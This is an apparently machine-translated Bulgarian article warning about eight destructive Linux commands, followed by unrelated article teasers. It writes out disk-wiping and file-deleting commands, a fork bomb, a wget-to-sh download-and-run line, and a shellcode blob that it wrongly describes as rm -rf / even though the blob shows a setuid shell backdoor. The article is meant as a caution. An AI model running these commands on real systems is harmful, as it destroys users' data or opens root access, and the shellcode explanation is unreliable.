8 смъртоносни команди, които никога не трябва да се изпълняват на Linux

8 смъртоносни команди, които никога не трябва да се изпълняват на Linux

Терминалните команди на Linux са доста разрушителни, ако изпълните команда, тя ще унищожи системата ви. Linux не изисква потвърждение при изпълнение на която и да е команда.

Научаването кои команди не трябва да се изпълняват на Linux помага да защитите системата си, когато работите на Linux. По-долу са 8 смъртоносни команди, които никога не трябва да изпълнявате на Linux.

8 смъртоносни команди, които никога не трябва да се изпълняват на Linux

1. rm -rf / - изтриване на всичко

Командата rm -rf / ще изтрие всичко, включително файлове на вашия твърд диск и файлове на медийни устройства, свързани към вашия компютър.

За да разберете по-добре тази команда, анализирайте я, както следва:

  • rm – Изтриване на следните файлове.
  • -rf – изпълнява rm (изтрива всички файлове и папки в определена папка) и принудително изтрива всички файлове, без първо да ви пита.
  • / – Казва на rm (да речем rm) стартира в главната директория, включително всички файлове на вашия компютър.

Linux с радост ще изпълни тази команда и ще изтрие всичко, без да ви предупреди, така че бъдете внимателни, когато използвате тази команда.

Освен това командата rm се използва и по много опасни начини. Например rm –rf ~ ще изтрие всички файлове във вашата домашна папка, а rm -rf .* ще изтрие всички ваши конфигурационни файлове.

2. Прикрита команда rm –rf /

Ето фрагмент от код в цялата мрежа:

char esp[] __attribute__ ((section(".text") /* esp release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

Това по същество е друга версия на rm –rf / – изпълнението на тази команда също ще изтрие всичките ви файлове, точно както стартирането на rm –rf /.

3. :(){ :|: & };: – Вид блокбъстър

8 смъртоносни команди, които никога не трябва да се изпълняват на Linux

Командният ред по-долу изглежда много прост, но всъщност функцията му е много опасна:

:(){ :|: & };:

Тази кратка команда ще създаде нови свои копия. Тоест, самият процес на архивиране ще бъде непрекъснат и бързо ще доведе до запълване на вашия процесор и памет.

Освен това може да доведе до замръзване на компютъра ви. Това е основно атака за отказ на услуга (DoS).

4. mkfs.ext4 /dev/sda1 – формати на твърдия диск

Командата mkfs.ext4 /dev/sda1 е доста лесна за разбиране:

  • mkfs.ext4 - създава файлова система ext4 на следното устройство.
  • /dev/sda1 - идентифицира първия дял на първия твърд диск, който може да е използвания твърд диск.

Комбинирането на тези две команди е еквивалентно на форматиране на диск C: в Windows – изтрийте всички файлове на първия си дял и ги заменете с новата файлова система.

Тази команда може да се появи в много различни формати, като - mkfs.ext3 /dev/sdb2 ще форматира втория дял на вашия втори твърд диск с файловата система ext3.

5. команда > /dev/sda - запис директно на твърд диск

8 смъртоносни команди, които никога не трябва да се изпълняват на Linux

Команден ред > /dev/sda - изпълнете команда и изведете резултата от тази команда директно на първия ви твърд диск, записвайки данни директно на твърдия диск и унищожавайки вашата файлова система.

  • команда – Изпълнете команда (може да бъде всяка команда).
  • > – изпраща команден изход до следното местоположение.
  • /dev/sda – Запишете изхода на командата директно на твърдия диск.

6. dd if=/dev/random of=/dev/sda – записва глупави данни на твърдия диск

Редът dd if=/dev/random of=/dev/sda ще изтрие данни на един от вашите твърди дискове.

  • dd – е да се извърши копиране на ниско ниво от едно място на друго.
  • if=/dev/random – Използвайте /dev/random като вход – може да видите адреси като /dev/zero.
  • of=/dev/sda – изход към първия твърд диск, замествайки файловата система с произволни глупави данни.

7. mv ~ /dev/null – Преместете вашата домашна директория в черна дупка

/dev/null - преместването на нещо в /dev/null е същото като унищожаването му. Мислете за /dev/null като за черна дупка. mv ~ /dev/null ще изпрати всичките ви лични файлове в черна дупка.

  • mv – преместете следния файл или папка на друго място.
  • ~ – Цялата ви домашна папка.
  • /dev/null – Преместете домашната си папка в /dev/null, това ще унищожи всичките ви файлове и ще изтрие оригиналните копия.

8. wget http://example.com/something -O – | sh – зареждане и стартиране на скрипт

Горната команда ще изтегли скрипт от мрежата и ще изпрати скрипта до sh, който ще изпълни съдържанието на скрипта. Това може да бъде опасно, ако не сте сигурни какво е скрипт или нямате доверен източник на скрипт – не изпълнявайте ненадеждни скриптове.

wget – изтегляне на файл.

http://example.com/something – изтегляне на файлове от това местоположение.

| – Препращане (изпращане) на изхода на командата wget (файл с изтеглена версия) директно към друга команда.

sh – изпрати файл до команда sh.

Вижте още няколко статии по-долу:

Забавлявам се!


Зелени тапети, красиви зелени тапети за компютри и телефони

Зелени тапети, красиви зелени тапети за компютри и телефони

Зеленото също е тема, която много фотографи и дизайнери използват за създаване на комплекти тапети, като основният цветови тон е зелен. По-долу има набор от зелени тапети за компютри и телефони.

Как да намерите и отворите файлове с помощта на командния ред

Как да намерите и отворите файлове с помощта на командния ред

Твърди се, че този метод за търсене и отваряне на файлове е по-бърз от използването на File Explorer.

Какво е Scareware? Как да премахнете Scareware?

Какво е Scareware? Как да премахнете Scareware?

Scareware е злонамерена компютърна програма, предназначена да подмами потребителите да мислят, че е легитимно приложение и ви моли да харчите пари за нещо, което не прави нищо.

Как да увеличите скоростта на интернет връзката с cFosSpeed

Как да увеличите скоростта на интернет връзката с cFosSpeed

cFosSpeed ​​​​е софтуер, който увеличава скоростта на интернет връзката, намалява латентността на предаване и увеличава силата на връзката до около 3 пъти. Специално за тези, които играят онлайн игри, cFosSpeed ​​​​ще поддържа, за да можете да изпитате играта без проблеми с мрежата.

Научете за защитните стени, защитната стена на Windows на Windows Server 2012

Научете за защитните стени, защитната стена на Windows на Windows Server 2012

Защитната стена на Windows с разширена защита е защитна стена, която работи на Windows Server 2012 и е активирана по подразбиране. Настройките на защитната стена в Windows Server 2012 се управляват в конзолата за управление на защитната стена на Windows.

Как да промените паролата за влизане в модема и рутера Vigor Draytek

Как да промените паролата за влизане в модема и рутера Vigor Draytek

Когато променят паролата на администраторската страница за вход на Vigor Draytek Modem и Router, потребителите ще ограничат неоторизиран достъп за промяна на паролата на модема, осигурявайки важна мрежова информация.

Как лесно да овърклокнете RAM с AMD Ryzen Master

Как лесно да овърклокнете RAM с AMD Ryzen Master

За щастие, потребителите на компютри с Windows, работещи с процесори AMD Ryzen, могат да използват Ryzen Master за лесно овърклокване на RAM, без да докосват BIOS.

7 начина за коригиране на грешки на лаптоп с Windows, които не се зареждат през USB-C

7 начина за коригиране на грешки на лаптоп с Windows, които не се зареждат през USB-C

USB-C портът се превърна в стандарт за пренос на данни, видео изход и зареждане на модерни лаптопи с Windows. Въпреки че това е удобно, може да бъде разочароващо, когато включите лаптопа си в USB-C зарядно устройство и то не се зарежда.

Как да коригирате грешката Cannot Create Service на Ultraviewer

Как да коригирате грешката Cannot Create Service на Ultraviewer

Грешката Cannot Create Service на Ultraviewer възниква, когато инсталираме софтуера с код на грешка 1072.

Как да поправите грешката да не се показва ID на Ultraviewer

Как да поправите грешката да не се показва ID на Ultraviewer

Грешката да не се показва ID на Ultraviewer ще засегне връзката с отдалечен компютър.